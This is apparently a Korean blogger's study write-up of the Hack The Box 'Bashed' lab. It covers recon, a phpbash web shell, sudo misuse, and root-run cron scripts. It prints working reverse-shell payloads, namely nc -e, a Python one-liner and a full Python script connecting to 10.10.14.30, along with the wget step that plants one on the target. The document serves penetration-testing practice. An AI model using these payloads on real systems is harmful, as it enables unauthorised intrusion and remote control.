본문 바로가기
워게임/hackthebox

bashed 롸업 정리

by meanjung 2021. 9. 10.

https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation/blob/master/linux-boxes/bashed-writeup-w-o-metasploit.md

 

GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation

Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.

github.com


nmap

apache 이놈 웹이구나(또)

 

-p- 결과 다른 거 나온 것 없음..

-sU 결과도 암 것도 안나옴

 


phpbash란 무엇인가

https://github.com/Arrexel/phpbash

 

GitHub - Arrexel/phpbash: A semi-interactive PHP shell compressed into a single file.

A semi-interactive PHP shell compressed into a single file. - GitHub - Arrexel/phpbash: A semi-interactive PHP shell compressed into a single file.

github.com

- standalone(독립적), semi-interactive web shell

- 기존의 reverse shell이 불가능한 penetration test(침투 테스트)를 지원하는 것이 목적

- helps pentesting

 

그니까 대충.. 저기 자기네 쉘이 웹을 통해 올려져 있는데, 그걸 뚫어서 flag를 읽으라는 말같다.

 

webshell이란

- 웹 사이트를 통해 shell을 여는 공격

- webshell은 해커가 악성 프로그램을 웹 사이트에 업로드하는 것으로 시작된다.

- 악성 프로그램은 주로 서버 사이트 스크립트로 만들어진다. 즉, 웹 사이트에 아무도 모르게 쉘 명령어를 날릴 수 있는 페이지를 하나 더 만드는 것이다.

- 웹쉘은 일반적인 웹 사이트 사용자들과 동일한 웹 서비스 포트(80, 8080, 443)을 통해 이루어지므로 탐지가 매우 어려워, 해킹 사고가 터지지 않는 이상은 인지하기 어렵다.

[ 출처 : https://run-it.tistory.com/53 ]


gobuster

하나하나 들어가보다가 

여기서 phpbash.php를 클릭했더니 쉘이 떴다. 여기서 바로 user.txt를 읽을 수 있다.


권한 상승...을 위한 준비 단계

(scriptmanager : scriptmanager) NOPASSWD: ALL

현재 사용자(www-data)는 scriptmanager의 권한으로 비밀번호 없이 모두 사용할 수 있다는 것이다.

 

근데 여기서 scriptmanager 권한이라고 뜨는 디렉터리에 cd할 수 없는 것을 볼 수 있다.

 

결국 롸업을 봤다.

.

.

.

나는 이 시스템의 경우 웹 서버에서 리눅스 명령을 실행할 수 있는 낮은 권한의 쉘이 있으므로 reverse shell을 얻을 필요가 없다고 생각했다.

그러나, 실제 모의침투에서는 php script를 중단하는 경우를 대비해 reverse shell을 따는 것이 좋다.

 

reverse shell 시도(실패)

[*] 내 kali

nc -nlvp 1234

 

[*] web shell

nc -nv 10.10.14.30 1234 -e /bin/sh

nc가 좀 다른가보다... not working..

 

reverse shell 시도(성공)

[*] 내 kali

nc -nlvp 1234

 

[*] web shell

파이썬 있는지 확인

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.30",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

 

쉘을 딸 수 있었다!


권한 상승 시작하기

sudo -l 로 현재(www-data) 권한에서 비밀번호없이 scriptmanager 권한으로 모두 사용할 수 있다는 것을 알 수 있다.

 

/ 위치에서 scripts 디렉터리가 scriptmanager 권한으로 되어있는 것을 볼 수 있다.

 

sudo -i -u scriptmanager 로 사용자를 scriptmanager로 바꾼다.

 

cd scripts

test.py가 scriptmanager 권한이고, test.txt는 root 권한이다.

test.py

그럼 저기 f.write() 부분을 잘 만들어서 실행하면 root.txt를 읽을 수 있지 않을까?

 

test.py가 지속적으로 실행되는 것 같다. test.txt의 시간이 계속 업데이트되는 것을 볼 수 있다.

그렇다면, reverse shell code.py 파일을 하나 여기 넣어놓는다면 자동으로 저절로 실행되어 쉘이 붙지 않을까?


reverse shellcode 실행하기

공격자(내 kali)에서 할 일

1. reverse shell code 입력(shellcode.py)

☞ 이런게 복붙했는데 잘 작동이 안된다, 싶으면 ip, port 잘 맞는지 그리고 따옴표가 이상하지 않은지 체크하기(경험담)

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.30",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

2. python -m SimpleHTTPServer 9005

3. chrome에서 http://10.10.14.30:9005 접속해서 2.가 제대로 동작했는지 확인

4. nc -nlvp 5555

타겟(10.10.10.68)에서 할 일

1. 현재 권한이 scriptmanager인지 확인, scripts 폴더 위치로 가기

2. wget http://10.10.14.30:9005/shellcode.py

3. 기다리기 (약 1분 정도)

3-1. 여기서 기다리지 않고 python shellcode.py 로 바로 실행해버리면 root 쉘이 아닌 scriptmanager 쉘이 따질 것이다.

 

 

기다리면 알아서 shellcode.py가 실행되어 루트 쉘이 따진다. 여기서 root.txt를 확인하면 된다.

 

[**] 이 때 루트쉘이 따지는 이유는 (내가 생각했을 때)

test.txt에 값을 쓰는 test.py가 있고, test.txt의 생성 시간을 지속적으로 확인해보면 계속 업데이트되는 것을 알 수 있다.

그렇다면, 지속적으로 test.py가 실행된다는 의미이다. (여기서 해당 디렉터리의 py파일을 모두 실행한다는 것을 확인해 볼 수도 있는 것이다.)

또한 여기서 test.txt 권한이 root이므로, python이 root 권한으로 실행된다고 예측할 수 있다.

때문에, root권한으로 python을 지속적으로 실행하는 어떤 매크로(?)같은.. 것 덕분에 root쉘을 딸 수 있는 것이다.


그래도 user.txt까지는 내 스스로 구했다. 쉬운 문제였지만 그래도 해냈다는 점에서 뿌듯하다!!

+

+

+

reverse shellcode에 대해 깨달은 것

kali 권한의 shellcode.py

root 권한의 shellcode2.py 가 있다고 했을때,

 

로컬에서 테스트해 본 결과,

파일 각각의 권한과 상관없이 kali권한으로 python shellcode.py, python shellcode2.py를 실행하면 - kali 쉘이 따진다.

sudo python shellcode.py, sudo python shellcode2.py를 실행하면 - root 쉘이 따진다.

'워게임 > hackthebox' 카테고리의 다른 글

cronos 롸업 정리  (0) 2021.09.15
friendzone 롸업 정리  (0) 2021.09.11
nibbles 롸업 정리  (0) 2021.09.09
RSA 알고리즘  (0) 2021.09.09
brainfuck 롸업 정리(wpscan, pop3 포함)  (0) 2021.09.07

댓글